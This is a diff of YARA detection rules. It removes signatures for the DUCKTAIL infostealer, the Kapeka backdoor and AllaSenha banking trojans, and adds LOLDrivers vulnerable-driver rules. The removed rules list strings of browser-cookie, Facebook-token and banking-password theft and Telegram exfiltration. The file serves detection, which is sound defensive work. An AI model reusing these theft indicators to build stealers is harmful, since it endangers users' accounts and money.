+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0032002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0032002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >15MB and (pe.section_index(".managed")>=0 or pe.exports("DotNetRuntimeDebugHeader")) and pe.exports("SendFile") and pe.exports("Start") and pe.exports("Open")
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule WITHSECURELABS_Ducktail_Dotnet_Core_Infostealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Rweverything_Asrsetupdrvsys_Asrsetupdrvdriver_9D93 : FILE
 {
-	meta:
-		description = "Detects DUCKTAIL malware written in .NET Core"
-		author = "WithSecure"
-		id = "22eef7ce-9e11-55ec-9f0b-00a6776f8eee"
-		date = "2022-07-18"
-		modified = "2022-07-25"
-		reference = "https://labs.withsecure.com/publications/ducktail"
-		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_dotnet_core_infostealer.yar#L1-L103"
-		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
-		logic_hash = "81b4da5860894397e9cd416e451c3098f8560407cd79f070f8edd5a3ba91512a"
-		score = 75
-		quality = 50
-		tags = "FILE"
-		version = "1.0"
-		hash1 = "b260f3857990e11fa267d3f1cad4c9bed59a9d4b"
-		hash2 = "db74863c01817bf4eba39cd8a0ebbce9bda85a37"
-		hash3 = "3a4b395301f61b7e6afc0ab27dc02331455181d0"
-
-	strings:
-		$dotnet_core_bundle_signature = { 8B 12 02 B9 6A 61 20 38 72 7B 93 02 14 D7 A0 32 13 F5 B9 E6 EF AE 33 18 EE 3B 2D CE 24 B3 6A AE }
-		$fb_str_1 = "c_user" wide ascii
-		$fb_str_2 = "https://business.facebook.com/security/twofactor/reauth/enter" wide ascii
-		$fb_str_3 = "https://business.facebook.com/security/twofactor/reauth" wide ascii
-		$fb_str_4 = "mbasic.facebook.com" wide ascii
-		$fb_str_5 = "DTSGInitData\",[],{\"token\":\"" wide ascii
-		$fb_str_6 = "www.facebook.com" wide ascii
-		$fb_str_7 = "m.facebook.com" wide ascii
-		$fb_str_8 = "business.facebook.com" wide ascii
-		$fb_str_9 = "approvals_code=" wide ascii
-		$fb_str_10 = "c_user=" wide ascii
-		$fb_str_11 = "&__a=1&__comet_req=0&fb_dtsg=" wide ascii
-		$fb_str_12 = "&__jssesw=1" wide ascii
-		$fb_str_13 = "approvals_code=" wide ascii
-		$fb_str_14 = "<BmLinks>k__BackingField" wide ascii
-		$fb_str_15 = "set_FbCookies" wide ascii
-		$fb_str_16 = "<AdsAccount>k__BackingField" wide ascii
-		$fb_str_17 = "GetAllFbData" wide ascii
-		$fb_str_18 = "get_account_id" wide ascii
-		$fb_str_19 = "set_BmLinks" wide ascii
-		$fb_str_20 = "GetBmLink" wide ascii
-		$fb_str_21 = "GetBm" wide ascii
-		$fb_str_22 = "ExtractUserId" wide ascii
-		$fb_str_23 = "set_Bussinesses" wide ascii
-		$fb_str_24 = "set_FbData" wide ascii
-		$fb_str_25 = "get_Nguong" wide ascii
-		$fb_str_26 = "ResetCookie" wide ascii
-		$fb_str_27 = "set_UserId" wide ascii
-		$fb_str_28 = "<Nguong>k__BackingField" wide ascii
-		$fb_str_29 = "get_UserId" wide ascii
-		$fb_str_30 = "set_Nguong" wide ascii
-		$fb_str_31 = "AdsBusiness" wide ascii
-		$fb_str_32 = "<FbData>k__BackingField" wide ascii
-		$fb_str_33 = "<FbCookies>k__BackingField" wide ascii
-		$fb_str_34 = "<invite_link>k__BackingField" wide ascii
-		$fb_str_35 = "get_FbData" wide ascii
-		$fb_str_36 = "get_invite_link" wide ascii
-		$fb_str_37 = "get_Bussinesses" wide ascii
-		$fb_str_38 = "GetNguong" wide ascii
-		$fb_str_39 = "set_AdsAccount" wide ascii
-		$fb_str_40 = "set_invite_link" wide ascii
-		$fb_str_41 = "set_AllCookies" wide ascii
-		$fb_str_42 = "get_business" wide ascii
-		$fb_str_43 = "set_business" wide ascii
-		$fb_str_44 = "<Bussinesses>k__BackingField" wide ascii
-		$fb_str_45 = "GetAdsFromToken" wide ascii
-		$fb_str_46 = "get_AdsAccount" wide ascii
-		$fb_str_47 = "get_BmLinks" wide ascii
-		$fb_str_48 = "FbDataScanner" wide ascii
-		$exfil_str_1 = "telegramBotClient_OnUpdate" wide ascii
-		$exfil_str_2 = "telegramHandler" wide ascii
-		$exfil_str_3 = "ZipArchive" wide ascii
-		$exfil_str_4 = "KillItSame" wide ascii
-		$exfil_str_5 = "1.txt" wide ascii
-		$exfil_str_6 = ".zip" wide ascii
-		$exfil_str_7 = "2.txt" wide ascii
-		$browser_str_1 = "GetCookies" wide ascii
-		$browser_str_2 = "get_AllCookies" wide ascii
-		$browser_str_3 = "ChromiumBrowser" wide ascii
-		$browser_str_4 = "myBrowsers" wide ascii
-		$browser_str_5 = "get_CookiePath" wide ascii
-		$browser_str_6 = "ScanFirefox" wide ascii
-		$browser_str_7 = "get_FbCookies" wide ascii
-		$browser_str_8 = "ScanChomium" wide ascii
-		$browser_str_9 = "BrowserScanner" wide ascii
-		$browser_str_10 = "ScanChronium" wide ascii
-		$browser_str_11 = "CookieData" wide ascii
-		$browser_str_12 = "listBrowser" wide ascii
-		$browser_str_13 = "BrowserCookie" wide ascii
-		$browser_str_14 = "<Cookies>k__BackingField" wide ascii
-		$browser_str_15 = "AddCookie" wide ascii
-		$browser_str_16 = "set_CookiePath" wide ascii
-		$browser_str_17 = "Local State" wide ascii
-		$browser_str_18 = "select name, path, expires_utc, is_secure, is_httponly, host_key, encrypted_value  from cookies" wide ascii
-		$browser_str_19 = "Google\\Chrome\\User Data" wide ascii
-		$browser_str_20 = "Microsoft\\Edge\\User Data" wide ascii
-		$browser_str_21 = "Cookies" wide ascii
-		$browser_str_22 = "encrypted_key\":\"" wide ascii
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrSetupDrv103.sys"
+		author = "Florian Roth"
+		id = "cfb5259e-deef-57db-ab34-fa909845043c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3960-L3980"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9d9346e6f46f831e263385a9bd32428e01919cca26a035bbb8e9cb00bf410bc3"
+		hash = "a0728184caead84f2e88777d833765f2d8af6a20aad77b426e07e76ef91f5c3f"
+		logic_hash = "875be865b5c6a924c48aada4c97ae39552a9944d9efb4e419dd754ce3f7ec217"
+		score = 40
+		quality = 80
+		tags = "FILE"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072005300650074007500700044007200760031003000330020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410073007200530065007400750070004400720076003100300033002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072005300650074007500700044007200760031003000330020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410073007200530065007400750070004400720076003100300033002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 }
 
 	condition:
-		uint16(0)==0x5A4D and $dotnet_core_bundle_signature and ((7 of ($fb_str_*) and (7 of ($browser_str_*) or 3 of ($exfil_str_*))) or (7 of ($browser_str_*) and 3 of ($exfil_str_*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_C628 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		id = "35330a4b-841a-5e61-b8c1-5e02f61ec021"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3983-L4004"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2"
+		hash = "7164aaff86b3b7c588fc7ae7839cc09c5c8c6ae29d1aff5325adaf5bedd7c9f5"
+		hash = "0d30c6c4fa0216d0637b4049142bc275814fd674859373bd4af520ce173a1c75"
+		logic_hash = "e7bff1c9a45ea37c1d26aeaa0946bd55387ef6adf318d04196ad6aa55950765a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
-rule WITHSECURELABS_Kapeka_Backdoor : FILE
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmelsys_Trendmicroearlylaunchantimalwaredriver_D0EB : FILE
 {
 	meta:
-		description = "Detects Kapeka backdoor based on common strings."
-		author = "WithSecure"
-		id = "7b874a4a-a009-5365-9c31-ca61bf5ab491"
-		date = "2024-04-17"
-		modified = "2024-04-17"
-		reference = "https://labs.withsecure.com/publications/kapeka"
-		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/Kapeka/kapeka_backdoor.yar#L2-L21"
-		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
-		logic_hash = "49795c6e3f3690eeccd731a9ba0c6bd8d5840d9171939e71d3a4d6f0d1834f05"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Tmel.sys"
+		author = "Florian Roth"
+		id = "f5251fdb-8e6e-5ea7-abdd-3a85dfbda449"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4007-L4026"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d0eb3ba0aff471d19260192784bf9f056d669b779b6eaff84e732b7124ce1d11"
+		logic_hash = "434964576b56367bc1ef4a198b6d6315c00c3fea0af9f1e0f08da6b7bd2cd0d1"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		version = "1.0"
-		hash1 = "97e0e161d673925e42cdf04763e7eaa53035338b"
-		hash2 = "9bbde40cab30916b42e59208fbcc09affef525c1"
-		hash3 = "6c3441b5a4d3d39e9695d176b0e83a2c55fe5b4e"
 
 	strings:
-		$a = "Azbi3l1xIgcRzTsOHopgrwUdJUMWpOFt" ascii
-		$b = "PID : " wide
-		$c = "ExitCode : " wide
-		$d = "1: " wide
-		$e = "2: " wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200045004c0041004d00200044007200690076006500720020002800360034002d0042006900740029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f0020004500610072006c00790020004c00610075006e0063006800200041006e00740069002d004d0061006c00770061007200650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		pe.is_dll() and filesize >50000 and filesize <500000 and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: HarfangLab
- * Repository: https://github.com/HarfangLab/iocs
- * Retrieval Date: 2024-08-04
- * Git Commit: 612ca9e99d526a22ba3f51b29b2981d7556c2880
- * Number of Rules: 14
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule HARFANGLAB_Custom_Ateraagent_Operator : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Getactechnologycorporation_Mtcbsvsys_Getacsystemserviceprovider_EDBB : FILE
 {
 	meta:
-		description = "Detect Atera Agent configured to certain email addresses, or email domains"
-		author = "HarfangLab"
-		id = "af0fae1d-2d25-5551-8720-ff1172ff4eea"
-		date = "2024-04-17"
-		modified = "2024-04-22"
-		reference = "TRR240402"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240402/trr240402_yara-template.yar#L1-L20"
-		license_url = "N/A"
-		logic_hash = "71622b61c5f645dd846327b79bf6dddefef458b73a82caa34d086da2ba48cd8c"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GtcKmdfBs.sys"
+		author = "Florian Roth"
+		id = "242dd7a2-f959-5394-aa81-9984a80fe634"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4029-L4049"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "edbb23e74562e98b849e5d0eefde3af056ec6e272802a04b61bebd12395754e5"
+		hash = "4b465faf013929edf2f605c8cd1ac7a278ddc9a536c4c34096965e6852cbfb51"
+		logic_hash = "0a729463c077e67113c7aeb1347b6ff2374fa8e4e5524b05c0a5ed2194b605b6"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$email = "email@domain.tld"
-		$s1 = "PREVIOUSFOUNDWIX_UPGRADE_DETECTED"
-		$s2 = "INTEGRATORLOGIN"
-		$sc1 = { 0A 28 49 99 78 E5 89 8D F4 0A 23 8E B8 A5 52 E8 }
-		$sc2 = { 06 7F 60 47 95 66 24 A7 15 99 61 74 3D 81 94 93 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004700740063004b006d0064006600420073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300031003900200047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		filesize >1MB and filesize <4MB and ( uint16be(0)==0xD0CF) and @s1<@email and @email<@s2[3] and any of ($sc*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Muddywater_Ateraagent_Operators : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2FBB : FILE
 {
 	meta:
-		description = "Detect Atera Agent abused by MuddyWater"
-		author = "HarfangLab"
-		id = "1494a0da-92de-5cfb-a870-325d02e2cdfb"
-		date = "2024-04-17"
-		modified = "2024-05-16"
-		reference = "TRR240402"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240402/trr240402_yara.yar#L1-L33"
-		license_url = "N/A"
-		hash = "9b49d6640f5f0f1d68f649252a96052f1d2e0822feadd7ebe3ab6a3cadd75985"
-		logic_hash = "63d5d3a6723191dccd20c8d9f25607df512b91f57ac891ef8c87b2dd107ee5a2"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "a688139a-c44f-5a93-933d-73369facec6c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4052-L4071"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445"
+		logic_hash = "b25969777810ff75d8cc35ae042a58e35f268c09aaa6f7fd6e10b1a1741898b4"
+		score = 40
 		quality = 80
 		tags = "FILE"
-		context = "file"
 
 	strings:
-		$s1 = "COMPANYID001Q3000009snPyIAIACCOUNTID"
-		$s2 = "COMPANYID001Q3000006FpmoIACACCOUNTID"
-		$s3 = "COMPANYID001Q3000008IyacIACACCOUNTID"
-		$s4 = "COMPANYID001Q3000009QoSEIA0ACCOUNTID"
-		$s5 = "COMPANYID001Q30000023c7iIAAACCOUNTID"
-		$s6 = "COMPANYID001Q3000008qXbDIAUACCOUNTID"
-		$s7 = "COMPANYID001Q3000008cfLjIAIACCOUNTID"
-		$s8 = "COMPANYID001Q3000007hJubIAEACCOUNTID"
-		$s9 = "COMPANYID001Q3000008ryO3IAIACCOUNTID"
-		$s10 = "COMPANYID001Q300000A5nnAIARACCOUNTID"
-		$s11 = "COMPANYID001Q3000008JfioIACACCOUNTID"
-		$s12 = "COMPANYID001Q300000BeUp3IAFACCOUNTID"
-		$s13 = "COMPANYID001Q3000005gMamIAEACCOUNTID"
-		$s15 = "mrrobertcornish@gmail.comINTEGRATORLOGINCOMPANYID"
-		$cert1 = { 0A 28 49 99 78 E5 89 8D F4 0A 23 8E B8 A5 52 E8 }
-		$cert2 = { 06 7F 60 47 95 66 24 A7 15 99 61 74 3D 81 94 93 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		filesize >1MB and filesize <4MB and ( uint16be(0)==0xD0CF) and any of ($s*) and any of ($cert*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Allasenhamaycampaign_Executorloader
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BCED : FILE
 {
 	meta:
-		description = "Detects Delphi ExecutorLoader DLLs and executables."
-		author = "HarfangLab"
-		id = "0a09414d-cd86-54a4-99e4-121a7df7624b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "TRR240501"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240501/trr240501_yara.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "61aa0bf180574856e57d0b26442bfa6f4b1e25844611d6eadaed529e1bb86625"
-		score = 75
-		quality = 55
-		tags = ""
-		context = "file,memory"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "25dd8cda-6aa3-595c-8502-cc83e04b8235"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4074-L4093"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f"
+		logic_hash = "21a234179b5f2ae97262100f990587238339777bf919f8a9f04e84e64c77fb1d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$delphi = "Embarcadero Delphi" ascii fullword
-		$s1 = "\\SysWOW64\\mshta.exe" wide fullword
-		$s2 = "\\System32\\mshta.exe" wide fullword
-		$s3 = "RcDll" wide fullword
-		$default1 = "Default_" wide fullword
-		$default2 = "Default~" wide fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e00330030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300035 }
 
 	condition:
-		$delphi and all of ($s*) and any of ($default*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule HARFANGLAB_Allasenhamaycampaign_Allasenha
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_082C : FILE
 {
 	meta:
-		description = "Detects AllaSenha banking trojan DLLs."
-		author = "HarfangLab"
-		id = "787c4e66-2053-5f14-a52e-6b0415700e8c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "TRR240501"
-		source_url = "https://github.com/HarfangLab/iocs/blob/612ca9e99d526a22ba3f51b29b2981d7556c2880/TRR240501/trr240501_yara.yar#L21-L43"
-		license_url = "N/A"
-		logic_hash = "affe75ade6c8d9eeba00006f78678a48b1cfc5ffa9f9675fdea6ffd6cb3a02bd"
-		score = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "48446c71-f353-5f4f-a158-20bc7dec694f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4096-L4115"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d"
+		logic_hash = "805a4da51dd1a85c46b830b747ed15f5cfb7539b42fd598987d3cd879d93cc97"
+		score = 40
 		quality = 80
-		tags = ""
-		context = "file,memory"
+		tags = "FILE"
 
 	strings:
-		$a1 = "<|NOSenha|>" wide fullword
-		$a2 = "<|SENHA|>QrCode: " wide fullword
-		$a3 = "<|SENHA|>Senha 6 : " wide fullword
-		$a4 = "<|SENHA|>Snh: " wide fullword
-		$a5 = "<|SENHA|>Token: " wide fullword
-		$a6 = "<|BB-AMARELO|>" wide fullword
-		$a7 = "<|BB-AZUL|>" wide fullword
-		$a8 = "<|BB-PROCURADOR|>" wide fullword
-		$a9 = "<|ITAU-SNH-CARTAO|>" wide fullword
-		$a10 = "<|ITAU-TK-APP|>" wide fullword
-		$dga = { 76 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 78 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 7A 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 77 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 6B 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 79 00 00 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
